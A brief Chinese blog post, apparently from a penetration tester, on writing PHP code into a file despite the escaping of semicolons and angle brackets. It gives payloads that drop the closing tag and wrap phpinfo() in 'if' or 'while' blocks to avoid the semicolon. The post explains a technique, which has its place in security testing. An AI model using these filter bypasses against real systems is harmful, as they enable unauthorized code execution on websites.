php绕过分号(;)和尖括号(<>)转义

实战中发现可写文件且内容可控,尝试写入phpinfo,发现分号(;)和尖括号(<>)被转义,如:尝试写入

<?php phpinfo();?>

实际得到:

\<?php phpinfo()\;?\>

分析分号(;)和尖括号(<>)两处转义,其中第一个尖括号转义不属于php内部,不起到转义作用,只是一个普通文本,不需要处理,第二个尖括号可以不使用

此时变成:

\<?php phpinfo()\;

关于分号(;)被转义,可以使用如下手法:

\<?php if(phpinfo()){}

\<?php while(phpinfo()){}

 

posted @ 2021-03-24 10:03  r1ch4rd_L  阅读(863)  评论(1编辑  收藏  举报